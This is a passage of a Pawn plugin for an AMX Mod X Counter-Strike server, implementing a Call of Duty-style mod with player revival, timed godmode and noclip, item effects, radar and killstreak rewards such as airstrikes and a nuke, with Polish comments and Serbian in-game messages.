- client_print(id, print_chat, "Reanimacja %s", name)
- new revivaltime = get_pcvar_num(cvar_revival_time)
- msg_bartime(id, revivaltime)
- new Float:gametime = get_gametime()
- g_revive_delay[id] = gametime + float(revivaltime) - 0.01
- emit_sound(id, CHAN_AUTO, SOUND_START, VOL_NORM, ATTN_NORM, 0, PITCH_NORM)
- set_task(0.0, "task_revive", TASKID_REVIVE + id)
- return FMRES_SUPERCEDE
- }
- public task_revive(taskid)
- {
- new id = taskid - TASKID_REVIVE
- if(!is_user_alive(id))
- {
- failed_revive(id)
- return FMRES_IGNORED
- }
- if(!(get_user_button(id) & IN_USE))
- {
- failed_revive(id)
- return FMRES_IGNORED
- }
- new body = find_dead_body(id)
- if(!is_valid_ent(body))
- {
- failed_revive(id)
- return FMRES_IGNORED
- }
- new lucky_bastard = pev(body, pev_owner)
- if(!is_user_connected(lucky_bastard))
- {
- failed_revive(id)
- return FMRES_IGNORED
- }
- new lb_team = get_user_team(lucky_bastard)
- new rev_team = get_user_team(id)
- if(lb_team != 1 && lb_team != 2 || lb_team != rev_team)
- {
- failed_revive(id)
- return FMRES_IGNORED
- }
- static Float:velocity[3]
- pev(id, pev_velocity, velocity)
- velocity[0] = 0.0
- velocity[1] = 0.0
- set_pev(id, pev_velocity, velocity)
- new Float:gametime = get_gametime()
- if(g_revive_delay[id] < gametime)
- {
- if(findemptyloc(body, 10.0))
- {
- remove_entity(body)
- emit_sound(id, CHAN_AUTO, SOUND_FINISHED, VOL_NORM, ATTN_NORM, 0, PITCH_NORM)
- set_task(0.1, "task_respawn", TASKID_RESPAWN + lucky_bastard)
- }
- else
- failed_revive(id)
- }
- else
- set_task(0.1, "task_revive", TASKID_REVIVE + id)
- return FMRES_IGNORED
- }
- public failed_revive(id)
- {
- msg_bartime(id, 0)
- emit_sound(id, CHAN_AUTO, SOUND_FAILED, VOL_NORM, ATTN_NORM, 0, PITCH_NORM)
- }
- public task_origin(taskid)
- {
- new id = taskid - TASKID_ORIGIN
- engfunc(EngFunc_SetOrigin, id, g_body_origin[id])
- static Float:origin[3]
- pev(id, pev_origin, origin)
- set_pev(id, pev_zorigin, origin[2])
- set_task(0.1, "task_stuck_check", TASKID_CHECKST + id)
- }
- stock find_dead_body(id)
- {
- static Float:origin[3]
- pev(id, pev_origin, origin)
- new ent
- static classname[32]
- while((ent = find_ent_in_sphere(ent, origin, get_pcvar_float(cvar_revival_dis))) != 0)
- {
- pev(ent, pev_classname, classname, 31)
- if(equali(classname, "fake_corpse") && is_visible(id, ent))
- return ent
- }
- return 0
- }
- stock msg_bartime(id, seconds)
- {
- if(is_user_bot(id))
- return
- message_begin(MSG_ONE, g_msg_bartime, _, id)
- write_byte(seconds)
- write_byte(0)
- message_end()
- }
- stock msg_statusicon(id, status)
- {
- if(is_user_bot(id))
- return
- message_begin(MSG_ONE, g_msg_statusicon, _, id)
- write_byte(status)
- write_string("rescue")
- write_byte(0)
- write_byte(160)
- write_byte(0)
- message_end()
- }
- public task_respawn(taskid)
- {
- new id = taskid - TASKID_RESPAWN
- set_pev(id, pev_deadflag, DEAD_RESPAWNABLE)
- dllfunc(DLLFunc_Spawn, id)
- set_pev(id, pev_iuser1, 0)
- set_task(0.1, "task_check_respawn", TASKID_CHECKRE + id)
- }
- public task_check_respawn(taskid)
- {
- new id = taskid - TASKID_CHECKRE
- if(pev(id, pev_iuser1))
- set_task(0.1, "task_respawn", TASKID_RESPAWN + id)
- else
- set_task(0.1, "task_origin", TASKID_ORIGIN + id)
- }
- public task_stuck_check(taskid)
- {
- new id = taskid - TASKID_CHECKST
- static Float:origin[3]
- pev(id, pev_origin, origin)
- if(origin[2] == pev(id, pev_zorigin))
- set_task(0.1, "task_respawn", TASKID_RESPAWN + id)
- else
- set_task(0.1, "task_setplayer", TASKID_SETUSER + id)
- }
- public task_setplayer(taskid)
- {
- new id = taskid - TASKID_SETUSER
- set_user_health(id, get_pcvar_num(cvar_revival_health))
- message_begin(MSG_ONE,g_msg_screenfade, _, id)
- write_short(seconds(2))
- write_short(seconds(2))
- write_short(0)
- write_byte(0)
- write_byte(0)
- write_byte(0)
- write_byte(255)
- message_end()
- }
- stock bool:findemptyloc(ent, Float:radius)
- {
- if(!is_valid_ent(ent))
- return false
- static Float:origin[3]
- pev(ent, pev_origin, origin)
- origin[2] += 2.0
- new owner = pev(ent, pev_owner)
- new num = 0, bool:found = false
- while(num <= 100)
- {
- if(is_hull_vacant(origin))
- {
- g_body_origin[owner][0] = origin[0]
- g_body_origin[owner][1] = origin[1]
- g_body_origin[owner][2] = origin[2]
- found = true
- break
- }
- else
- {
- origin[0] += random_float(-radius, radius)
- origin[1] += random_float(-radius, radius)
- origin[2] += random_float(-radius, radius)
- num++
- }
- }
- return found
- }
- stock bool:is_hull_vacant(const Float:origin[3])
- {
- new tr = 0
- engfunc(EngFunc_TraceHull, origin, origin, 0, HULL_HUMAN, 0, tr)
- if(!get_tr2(tr, TR_StartSolid) && !get_tr2(tr, TR_AllSolid) && get_tr2(tr, TR_InOpen))
- return true
- return false
- }
- public godon(id)
- {
- set_user_godmode(id, 1) // Tutaj mo¿emy np, daæ coœ co bêdzie uruchomione w trakcie odliczania ja da³em GodMode
- Odliczanie[id] = 4 // nasza zmienna + czas ile ma odliczaæ do zera w tym przypadku 4 sekundy
- if(task_exists(id + 3431))
- {
- remove_task(id + 3431)
- }
- set_task(1.0, "godoff", id + 3431, _, _, "b")
- return PLUGIN_CONTINUE
- }
- public godoff(task_id)
- {
- new id = task_id - 3431
- set_hudmessage(0, 255, 0, 0.03, 0.76, 2, 0.02, 1.0, 0.01)
- show_hudmessage(id, "Za %d sekundi gubite besmrtnost.", Odliczanie[id]) //WiadomoϾ pokazana w HUD'zie
- Odliczanie[id] -= 1
- if(Odliczanie[id] <= 0)
- {
- if(task_exists(task_id))
- {
- remove_task(task_id)
- }
- set_user_godmode(id, 0); // tutaj wy³¹cza goodmoda
- }
- }
- public clipon(id)
- {
- set_user_noclip(id, 1) // Tutaj mo¿emy np, daæ coœ co bêdzie uruchomione w trakcie odliczania ja da³em noclip
- Odliczanie[id] = 9 // nasza zmienna + czas ile ma odliczaæ do zera w tym przypadku 9sekund
- if(task_exists(id + 3431))
- {
- remove_task(id + 3431)
- }
- set_task(1.0, "clipoff", id + 3431, _, _, "b")
- return PLUGIN_CONTINUE
- }
- public clipoff(task_id)
- {
- new id = task_id - 3431
- set_hudmessage(0, 255, 0, 0.03, 0.76, 2, 0.02, 1.0, 0.01)
- show_hudmessage(id, "Za %d sekundi gubite nevidljivost", Odliczanie[id]) //WiadomoϾ pokazana w HUD'zie
- Odliczanie[id] -= 1
- if(Odliczanie[id] <= 0)
- {
- if(task_exists(task_id))
- {
- remove_task(task_id)
- }
- set_user_noclip(id, 0); // tutaj wy³¹cza noclipa
- }
- }
- public client_PreThink(id) {
- if (entity_get_int(id, EV_INT_button) & 2 && informacje_przedmiotu_gracza[id][0] == 44) {
- new flags = entity_get_int(id, EV_INT_flags)
- if (flags & FL_WATERJUMP)
- return PLUGIN_CONTINUE
- if ( entity_get_int(id, EV_INT_waterlevel) >= 2 )
- return PLUGIN_CONTINUE
- if ( !(flags & FL_ONGROUND) )
- return PLUGIN_CONTINUE
- new Float:velocity[3]
- entity_get_vector(id, EV_VEC_velocity, velocity)
- velocity[2] += 250.0
- entity_set_vector(id, EV_VEC_velocity, velocity)
- entity_set_int(id, EV_INT_gaitsequence, 6)
- }
- return PLUGIN_CONTINUE
- }
- public fw_traceline(Float:vecStart[3],Float:vecEnd[3],ignoreM,id,trace)
- {
- if(!is_user_connected(id))
- return;
- new hit = get_tr2(trace, TR_pHit);
- if(!is_user_connected(hit))
- return;
- new hitzone = get_tr2(trace, TR_iHitgroup);
- if((informacje_przedmiotu_gracza[hit][0] == 65 && hitzone == HIT_HEAD) || informacje_przedmiotu_gracza[hit][0] == 66 && hitzone != HIT_HEAD)
- set_tr2(trace, TR_iHitgroup, 8);
- if(informacje_przedmiotu_gracza[id][0] == 69 && !random(10) && get_user_weapon(id) == CSW_AWP)
- set_tr2(trace, TR_iHitgroup, HIT_HEAD);
- }
- public WygranaTerro()
- WygranaRunda("TERRORIST");
- public WygranaCT()
- WygranaRunda("CT");
- public WygranaRunda(const Team[])
- {
- new Players[32], playerCount, id;
- get_players(Players, playerCount, "aeh", Team);
- if(get_playersnum() < 3)
- return;
- for (new i=0; i<playerCount; i++)
- {
- id = Players[i];
- if(!klasa_gracza[id] && !is_user_connected(id))
- continue;
- doswiadczenie_gracza[id] += doswiadczenie_za_wygrana;
- ColorChat(id, RED, "[COD:MW3] ^x01 Dobio si %i iskustvo za pobedjenu rundu.", doswiadczenie_za_wygrana);
- SprawdzPoziom(id);
- }
- }
- public OddajPrzedmiot(id)
- {
- new menu = menu_create("Oddaj przedmiot", "OddajPrzedmiot_Handle");
- new cb = menu_makecallback("OddajPrzedmiot_Callback");
- new numer_przedmiotu;
- for(new i=0; i<=32; i++)
- {
- if(!is_user_connected(i))
- continue;
- oddaj_id[numer_przedmiotu++] = i;
- menu_additem(menu, nazwa_gracza[i], "0", 0, cb);
- }
- menu_display(id, menu);
- }
- public OddajPrzedmiot_Handle(id, menu, item)
- {
- if(item < 1 || item > 32) return PLUGIN_CONTINUE;
- if(!is_user_connected(oddaj_id[item]))
- {
- client_print(id, print_chat, "Igrac nije pronadjen.");
- return PLUGIN_CONTINUE;
- }
- if(dostal_przedmiot[id])
- {
- client_print(id, print_chat, "Morate sacekati sledecu rundu");
- return PLUGIN_CONTINUE;
- }
- if(!informacje_przedmiotu_gracza[id][0])
- {
- client_print(id, print_chat, "Nemate nijedan predmet.");
- return PLUGIN_CONTINUE;
- }
- if(informacje_przedmiotu_gracza[oddaj_id[item]][0])
- {
- client_print(id, print_chat, "Ovaj igrac vec ima predmet.");
- return PLUGIN_CONTINUE;
- }
- dostal_przedmiot[oddaj_id[item]] = true;
- DajPrzedmiot(oddaj_id[item], informacje_przedmiotu_gracza[id][0]);
- informacje_przedmiotu_gracza[oddaj_id[item]][1] = informacje_przedmiotu_gracza[id][1];
- client_print(id, print_chat, "Nagradio %s Igraca %s.",nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]] , nazwa_gracza[oddaj_id[item]]);
- client_print(oddaj_id[item], print_chat, "Dobio %s od igraca %s.",nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]] , nazwa_gracza[id]);
- UsunPrzedmiot(id);
- return PLUGIN_CONTINUE;
- }
- public OddajPrzedmiot_Callback(id, menu, item)
- {
- if(oddaj_id[item] == id)
- return ITEM_DISABLED;
- return ITEM_ENABLED;
- }
- public SprzedajPrzedmiot(id)
- {
- if(!informacje_przedmiotu_gracza[id][0])
- {
- client_print(id, print_chat, "Nie masz przedmiotu!");
- return;
- }
- UsunPrzedmiot(id);
- cs_set_user_money(id, cs_get_user_money(id)+2500);
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 255);
- }
- public MagnetThink(ent)
- {
- if(entity_get_int(ent, EV_INT_iuser2))
- return PLUGIN_CONTINUE;
- if(!entity_get_int(ent, EV_INT_iuser1))
- emit_sound(ent, CHAN_VOICE, "weapons/mine_activate.wav", 0.5, ATTN_NORM, 0, PITCH_NORM );
- entity_set_int(ent, EV_INT_iuser1, 1);
- new id = entity_get_edict(ent, EV_ENT_owner);
- new dist = get_pcvar_num(pcvar_zasieg)+inteligencja_gracza[id];
- new Float:forigin[3];
- entity_get_vector(ent, EV_VEC_origin, forigin);
- new entlist[33];
- new numfound = find_sphere_class(0,"player", float(dist),entlist, 32,forigin);
- for (new i=0; i < numfound; i++)
- {
- new pid = entlist[i];
- if (get_user_team(pid) == get_user_team(id))
- continue;
- if (is_user_alive(pid))
- {
- new bronie_gracza = entity_get_int(pid, EV_INT_weapons);
- for(new n=1; n <= 32;n++)
- {
- if(1<<n & bronie_gracza)
- {
- new weaponname[33];
- get_weaponname(n, weaponname, 32);
- engclient_cmd(pid, "drop", weaponname);
- }
- }
- }
- }
- numfound = find_sphere_class(0,"weaponbox", float(dist)+100.0,entlist, 32,forigin);
- for (new i=0; i < numfound; i++)
- if(get_entity_distance(ent, entlist[i]) > 50.0)
- set_velocity_to_origin(entlist[i], forigin, 999.0);
- if (entity_get_float(ent, EV_FL_ltime) < halflife_time() || !is_user_alive(id))
- {
- entity_set_int(ent, EV_INT_iuser2, 1);
- return PLUGIN_CONTINUE;
- }
- new iOrigin[3];
- FVecIVec(forigin, iOrigin);
- message_begin( MSG_BROADCAST, SVC_TEMPENTITY, iOrigin );
- write_byte( TE_BEAMCYLINDER );
- write_coord( iOrigin[0] );
- write_coord( iOrigin[1] );
- write_coord( iOrigin[2] );
- write_coord( iOrigin[0] );
- write_coord( iOrigin[1] + dist );
- write_coord( iOrigin[2] + dist );
- write_short( sprite_white );
- write_byte( 0 ); // startframe
- write_byte( 0 ); // framerate
- write_byte( 10 ); // life
- write_byte( 10 ); // width
- write_byte( 255 ); // noise
- write_byte( 0 ); // r, g, b
- write_byte( 100 );// r, g, b
- write_byte( 255 ); // r, g, b
- write_byte( get_pcvar_num(pcvar_widocznosc_fali) ); // brightness
- write_byte( 0 ); // speed
- message_end();
- entity_set_float(ent, EV_FL_nextthink, halflife_time() + 0.01);
- return PLUGIN_CONTINUE;
- }
- public ResetHUD(id)
- {
- if(!is_user_connected(id))
- return PLUGIN_HANDLED;
- client_disconnect_magnet(id);
- pozostale_elektromagnesy[id] = get_pcvar_num(pcvar_ilosc_elektromagnesow);
- return PLUGIN_HANDLED
- }
- public client_disconnect_magnet(id)
- {
- new ent = find_ent_by_class(0, "magnet");
- while(ent > 0)
- {
- if(entity_get_edict(id, EV_ENT_owner) == id)
- remove_entity(ent);
- ent = find_ent_by_class(ent, "magnet");
- }
- }
- public NowaRunda_magnet()
- {
- new ent = find_ent_by_class(-1, "magnet");
- while(ent > 0)
- {
- remove_entity(ent);
- ent = find_ent_by_class(ent, "magnet");
- }
- }
- stock get_velocity_to_origin( ent, Float:fOrigin[3], Float:fSpeed, Float:fVelocity[3] )
- {
- new Float:fEntOrigin[3];
- entity_get_vector( ent, EV_VEC_origin, fEntOrigin );
- // Velocity = Distance / Time
- new Float:fDistance[3];
- fDistance[0] = fEntOrigin[0] - fOrigin[0];
- fDistance[1] = fEntOrigin[1] - fOrigin[1];
- fDistance[2] = fEntOrigin[2] - fOrigin[2];
- new Float:fTime = -( vector_distance( fEntOrigin,fOrigin ) / fSpeed );
- fVelocity[0] = fDistance[0] / fTime;
- fVelocity[1] = fDistance[1] / fTime;
- fVelocity[2] = fDistance[2] / fTime + 50.0;
- return ( fVelocity[0] && fVelocity[1] && fVelocity[2] );
- }
- stock set_velocity_to_origin( ent, Float:fOrigin[3], Float:fSpeed )
- {
- new Float:fVelocity[3];
- get_velocity_to_origin( ent, fOrigin, fSpeed, fVelocity )
- entity_set_vector( ent, EV_VEC_velocity, fVelocity );
- return ( 1 );
- }
- public radar_scan(id)
- {
- if(!is_user_connected(id))
- return PLUGIN_HANDLED;
- new PlayerCoords[3];
- for (new id=1; id<=32; id++)
- {
- if(!is_user_alive(id) || !is_user_connected(id) || informacje_przedmiotu_gracza[id][0] != 86)
- continue;
- for (new i=1;i<=32;i++)
- {
- if(!is_user_alive(i) || get_user_team(i) == get_user_team(id))
- get_user_origin(i, PlayerCoords)
- message_begin(MSG_ONE_UNRELIABLE, g_msgHostageAdd, {0,0,0}, id)
- write_byte(id)
- write_byte(i)
- write_coord(PlayerCoords[0])
- write_coord(PlayerCoords[1])
- write_coord(PlayerCoords[2])
- message_end()
- message_begin(MSG_ONE_UNRELIABLE, g_msgHostageDel, {0,0,0}, id)
- write_byte(i)
- message_end()
- }
- }
- return PLUGIN_HANDLED;
- }
- public SmiercGracza(id, attacker, shouldgib)
- {
- if(is_user_alive(attacker) && is_user_connected(attacker))
- {
- if(get_user_team(attacker) != get_user_team(id))
- {
- new name[32]
- licznik_zabic[attacker]++;
- get_user_name(attacker,name,31);
- if(licznik_zabic[attacker] > 0)
- {
- set_hudmessage(255, 255, 255, -1.0, 0.33, 0, 5.0, 5.0);
- switch(licznik_zabic[attacker])
- {
- case 4:
- {
- switch(random_num(0,1))
- {
- case 0:{
- pack[attacker] = true;
- //show_hudmessage(0, "%s dostal Care Package za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
- client_print(attacker, print_chat, "[KillStrike] Wskarz mesto gde ocekujete da ce pasti kutija i pritisnite X");
- }
- case 1:{
- uav[attacker] = true;
- //show_hudmessage(0, "%s dostal Counter-UAV za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
- client_print(attacker, print_chat, "[KillStrike] Pritisnite X da onemogucite radar neprijatelja");
- client_cmd(attacker, "spk sound/mw/counter_enemy.wav")
- }
- }
- }
- case 6:
- {
- switch(random_num(0,1))
- {
- case 0:{
- predator[attacker]++;
- //show_hudmessage(0, "%s dostal PREDATORA za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
- client_print(attacker, print_chat, "[KillStrike] Pritisnite X da ubrzate grabljivca");
- client_cmd(attacker, "spk sound/mw/predator_give.wav")
- }
- case 1:{
- nalot[attacker]++;
- //show_hudmessage(0, "%s dostal NALOT za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
- client_print(attacker, print_chat, "[KillStrike] Wskarz miejsce mesto i pritisnite X");
- client_cmd(attacker, "spk sound/mw/air_give.wav")
- }
- }
- }
- case 12:
- {
- emp[attacker] = true;
- //show_hudmessage(0, "%s dostal EMP za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
- client_print(attacker, print_chat, "[KillStrike] Pritisni X, da koristite EMP");
- client_cmd(attacker, "spk sound/mw/emp_give.wav")
- }
- case 14:
- {
- nuke[attacker] = true;
- show_hudmessage(0, "%s dostal NUKE! za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
- client_print(attacker, print_chat, "[KillStrike] Pritisni X za upotrebu atomske bombe");
- client_cmd(attacker, "spk sound/mw/nuke_give.wav")
- licznik_zabic[attacker] = false;
- }
- case 15:
- {
- radar[attacker] = true;
- cod_set_user_xp(id, cod_get_user_xp(id)+50);
- //client_cmd(attacker, "drawradar")
- show_hudmessage(0, "%s dostal UAV za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
- client_print(attacker, print_chat, "[KillStrike] Crvene tacke na radaru je sve sto rade protivnici");
- client_cmd(attacker, "spk sound/mw/uav_give.wav")
- }
- }
- }
- }
- }
- if(!is_user_alive(id))
- {
- licznik_zabic[id] = 0;
- user_controll[id] = 0
- }
- }
- public uzyj_nagrody(id)
- {
- if(!is_user_alive(id) || emp_czasowe)
- return PLUGIN_HANDLED;
- if(pack[id] > 0 && !nuke[id] && !predator[id] && !emp[id] && !nalot[id] && !uav[id]/* && !sentry[id]*/)
- CreatePack(id)
- if(uav[id] > 0 && !nuke[id] && !predator[id] && !emp[id] && !nalot[id]/* && !sentry[id]*/)
- CreateUVA(id)
- if(nalot[id] > 0 && !nuke[id] && !predator[id] && !emp[id])
- CreateNalot(id)
- if(predator[id] > 0 && !nuke[id] && !emp[id])
- CreatePredator(id)
- if(emp[id] > 0 && !nuke[id])
- CreateEmp(id)
- if(nuke[id] > 0)
- CreateNuke(id)
- return PLUGIN_HANDLED;
- }
- //radar
- public radar_scan2(id)
- {
- if(!is_user_connected(id))
- return PLUGIN_HANDLED;
- new PlayerCoords[3];
- for (new id=1; id<=32; id++)
- {
- if(!is_user_alive(id) || !is_user_connected(id) || !radar[id] || emp_czasowe)
- continue;
- for (new i=1;i<=32;i++)
- {
- if(!is_user_alive(i) || get_user_team(i) == get_user_team(id))
- continue;
- get_user_origin(i, PlayerCoords)
- message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("HostagePos"), {0,0,0}, id)
- write_byte(id)
- write_byte(i)
- write_coord(PlayerCoords[0])
- write_coord(PlayerCoords[1])
- write_coord(PlayerCoords[2])
- message_end()
- message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("HostageK"), {0,0,0}, id)
- write_byte(i)
- message_end()
- }
- }
- return PLUGIN_HANDLED;
- }
- //dotyk enta
- public fw_Touch(ent, id)
- {
- if (!pev_valid(ent))
- return FMRES_IGNORED
- new ClassName[32]
- pev(ent, pev_classname, ClassName, charsmax(ClassName))
- if(equal(ClassName, "Bomb"))
- {
- bombs_explode(ent, 100.0, 150.0)
- set_pev(ent, pev_flags, FL_KILLME)
- return FMRES_IGNORED
- }
- if(equal(ClassName, "Predator"))
- {
- new owner = pev(ent, pev_owner)
- bombs_explode(ent, 220.0, 400.0)
- attach_view(owner, owner)
- user_controll[owner] = 0
- set_pev(ent, pev_flags, FL_KILLME)
- return FMRES_IGNORED
- }
- return FMRES_IGNORED
- }
- //airpack
- public CreatePack(id)
- {
- cod_set_user_xp(id, cod_get_user_xp(id)+100);
- CreatePlane(id)
- pack[id] = false
- set_task(1.0, "airpack", id+742)
- set_task(6.0, "usun_ent")
- }
- public airpack(taskid)
- {
- new id = (taskid - 742)
- new Origin[3];
- get_user_origin(id, Origin, 3);
- Origin[2] += 150;
- new Float:LocVecs[3];
- IVecFVec(Origin, LocVecs);
- new g_pack = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"))
- create_ent(id, g_pack, "Pack", "models/cod_carepackage.mdl", 1, 6, LocVecs)
- }
- public pack_touch(ent, id)
- {
- if (!pev_valid(ent))
- return FMRES_IGNORED
- new ClassName[32]
- pev(ent, pev_classname, ClassName, charsmax(ClassName))
- if(equal(ClassName, "Pack"))
- {
- new weapons[32];
- new weaponsnum;
- get_user_weapons(id, weapons, weaponsnum);
- for(new i=0; i<weaponsnum; i++)
- if(maxAmmo[weapons[i]] > 0)
- set_pdata_int(id, CSW_to_offset[weapons[i]], maxAmmo[weapons[i]], 5);
- set_pev(ent, pev_flags, FL_KILLME)
- return FMRES_IGNORED
- }
- return FMRES_IGNORED
- }
- //counter-uva
- public CreateUVA(id)
- {
- cod_set_user_xp(id, cod_get_user_xp(id)+100);
- uav[id] = false
- new num, players[32]
- get_players(players, num, "cgh")
- for(new a = 0; a < num; a++)
- {
- new i = players[a]
- if(players[a] != id){
- if(get_user_team(id)!=get_user_team(i))
- {
- radar[i] = false;
- break;
- }
- }
- }
- }
- //emp
- public CreateEmp(id)
- {
- cod_set_user_xp(id, cod_get_user_xp(id)+200);
- client_cmd(0, "spk sound/mw/emp_effect.wav")
- emp[id] = false;
- new num, players[32]
- get_players(players, num, "cgh")
- for(new a = 0; a < num; a++)
- {
- new i = players[a]
- if(is_user_connected(i) || is_user_alive(i))
- {
- Display_Fade(i,4<<12,4<<12,1<<16,255,212,212,166)
- }
- //client_cmd(i, "hideradar")
- }
- emp_czasowe = true;
- set_task(90.0,"usun_emp", 932)
- }
- public usun_emp()
- {
- emp_czasowe = false;
- }
- //nuke
- public CreateNuke(id)
- {
- cod_set_user_xp(id, cod_get_user_xp(id)+250);
- client_cmd(0, "spk sound/mw/nuke_enemy1.wav")
- new num, players[32]
- get_players(players, num, "cgh")
- for(new a = 0; a < num; a++)
- {
- new i = players[a]
- if(is_user_alive(i))
- {
- Display_Fade(i,8<<12,8<<12,1<<16,197,253,191,200)
- set_task(4.0,"trzesienie", 0)
- }
- }
- set_task(8.0,"usun", id)
- nuke[id] = false;
- }
- public trzesienie()
- {
- new num, players[32]
- get_players(players, num, "cgh")
- for(new a = 0; a < num; a++)
- {
- new i = players[a]
- if(is_user_connected(i) || is_user_alive(i))
- {
- message_begin(MSG_ONE, get_user_msgid("ScreenShake"), {0,0,0}, i)
- write_short(255<<12)
- write_short(8<<12)
- write_short(255<<12)
- message_end()
- }
- }
- }
- public usun(id)
- {
- if(!is_user_connected(id))
- return PLUGIN_HANDLED;
- new num, players[32]
- get_players(players, num, "cgh")
- for(new a = 0; a < num; a++)
- {
- new i = players[a]
- if(is_user_alive(i))
- {
- user_silentkill(i)
- if(get_user_team(id) != get_user_team(i))
- {
- set_user_frags(id, get_user_frags(id)+1);
- cod_set_user_xp(id, cod_get_user_xp(id)+50);
- }
- }
- }
- return PLUGIN_HANDLED;
- }
- //nalot
- public CreateNalot(id)
- {
- cod_set_user_xp(id, cod_get_user_xp(id)+150);
- CreatePlane(id)
- set_task(1.0, "CreateBombs", id+997, _, _, "a", 3)
- set_task(6.0, "usun_ent")
- nalot[id]--;
- }
- public usun_ent()
- remove_entity_name("Samolot");
- public CreateBombs(taskid)
- {
- new id = (taskid-997)
- new g_bomby[15], radlocation[3], randomx, randomy;
- PobraneOrigin[2] += 50;
- for(new i=0; i<15; i++)
- {
- randomx = random_num(-150,150);
- randomy = random_num(-150,150);
- radlocation[0] = PobraneOrigin[0]+1*randomx;
- radlocation[1] = PobraneOrigin[1]+1*randomy;
- radlocation[2] = PobraneOrigin[2];
- new Float:LocVec[3];
- IVecFVec(radlocation, LocVec);
- g_bomby[i] = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"))
- create_ent(id, g_bomby[i], "Bomb", "models/p_hegrenade.mdl", 2, 10, LocVec)
- }
- }
- public CreatePlane(id){
- new Float:Origin[3],Float: Angle[3], Float: Velocity[3];
- get_user_origin(id, PobraneOrigin, 3);
- velocity_by_aim(id, 1200, Velocity)
- pev(id, pev_origin, Origin)
- pev(id, pev_v_angle, Angle)
- Origin[2] += 250;
- Angle[0] = 0.0;
- Velocity[2] = Origin[2]
- new g_samolot = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"))
- create_ent(id, g_samolot, "Samolot", "models/cod_plane.mdl", 2, 8, Origin)
- set_pev(g_samolot, pev_velocity, Velocity)
- set_pev(g_samolot, pev_angles, Angle)
- emit_sound(g_samolot, CHAN_ITEM, "mw/jet_fly1.wav", 1.0, ATTN_NORM, 0, PITCH_NORM);
- }
- //predator
- public CreatePredator(id){
- cod_set_user_xp(id, cod_get_user_xp(id)+150);
- new Float:Origin[3], Float:Angle[3], Float:Velocity[3]
- velocity_by_aim(id, 700, Velocity)
- pev(id, pev_origin, Origin)
- pev(id, pev_v_angle, Angle)
- Angle[0] *= -1.0
- new g_predator = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"))
- create_ent(id, g_predator, "Predator", "models/cod_predator.mdl", 2, 5, Origin)
- set_pev(g_predator, pev_velocity, Velocity)
- set_pev(g_predator, pev_angles, Angle)
- message_begin( MSG_BROADCAST, SVC_TEMPENTITY)
- write_byte(TE_BEAMFOLLOW)
- write_short(g_predator)
- write_short(cache_trail)
- write_byte(10)
- write_byte(5)
- write_byte(205)
- write_byte(237)
- write_byte(163)
- write_byte(200)
- message_end()
- predator[id] = false;
- set_pev(g_predator, pev_rendermode, 1)
- attach_view(id, g_predator)
- user_controll[id] = g_predator
- }
- public player_predator(id)
- {
- if(!is_user_connected(id))
- return PLUGIN_HANDLED;
- if (user_controll[id] > 0)
- {
- new ent = user_controll[id]
- if (pev_valid(ent))
- {
- new Float:Velocity[3], Float:Angle[3]
- velocity_by_aim(id, 500, Velocity)
- pev(id, pev_v_angle, Angle)
- set_pev(ent, pev_velocity, Velocity)
- set_pev(ent, pev_angles, Angle)
- }
- else
- {
- attach_view(id, id)
- }
- }
- return PLUGIN_HANDLED;
- }
- public bombs_explode(ent, Float:zadaje, Float:promien)
- {
- if (!pev_valid(ent))
- return;
- new attacker = pev(ent, pev_owner)
- new Float:entOrigin[3], Float:fDistance, Float:fDamage, Float:vOrigin[3]
- pev(ent, pev_origin, entOrigin)
- entOrigin[2] += 1.0
- new victim = -1
- while ((victim = engfunc(EngFunc_FindEntityInSphere, victim, entOrigin, promien)) != 0)
- {
- if (attacker==victim || !pev_valid(victim)) continue;
- pev(victim, pev_origin, vOrigin)
- fDistance = get_distance_f(vOrigin, entOrigin)
- fDamage = zadaje - floatmul(zadaje, floatdiv(fDistance, promien))
- fDamage *= estimate_take_hurt(entOrigin, victim, 0)
- if(fDamage>0.0)
- {
- if(get_user_team(attacker)!=get_user_team(victim))
- if(pev(victim, pev_health))
- ExecuteHam(Ham_TakeDamage, victim, ent, attacker, fDamage, DMG_BULLET)
- }
- }
- message_begin(MSG_BROADCAST,SVC_TEMPENTITY);
- write_byte(TE_EXPLOSION);
- write_coord(floatround(entOrigin[0]));
- write_coord(floatround(entOrigin[1]));
- write_coord(floatround(entOrigin[2]));
- write_short(sprite_blast);
- write_byte(32);
- write_byte(20);
- write_byte(0);
- message_end();
- }
- public cmdKill()
- {
- return FMRES_SUPERCEDE
- }
- stock create_ent(id, ent, szName[], szModel[], iSolid, iMovetype, Float:fOrigin[3])
- {
- if(!pev_valid(ent))
- {
- return
- }
- set_pev(ent, pev_classname, szName)
- engfunc(EngFunc_SetModel, ent, szModel)
- set_pev(ent, pev_solid, iSolid)
- set_pev(ent, pev_movetype, iMovetype)
- set_pev(ent, pev_owner, id)
- set_pev(ent, pev_origin, fOrigin)
- }
- stock Float:estimate_take_hurt(Float:fPoint[3], ent, ignored)
- {
- new Float:fOrigin[3]
- new tr
- new Float:fFraction
- pev(ent, pev_origin, fOrigin)
- engfunc(EngFunc_TraceLine, fPoint, fOrigin, DONT_IGNORE_MONSTERS, ignored, tr)
- get_tr2(tr, TR_flFraction, fFraction)
- if(fFraction == 1.0 || get_tr2(tr, TR_pHit) == ent)
- {
- return 1.0
- }
- return 0.6
- }
- public plugin_natives()
- {
- register_native("cod_set_user_xp", "UstawDoswiadczenie", 1)
- register_native("cod_get_user_xp", "PobierzDoswiadczenie", 1)
- register_native("cod_get_user_health", "PobierzZdrowieMax", 1)
- }
- public UstawDoswiadczenie(id, wartosc)
- {
- doswiadczenie_gracza[id] = wartosc
- SprawdzPoziom(id)
- }
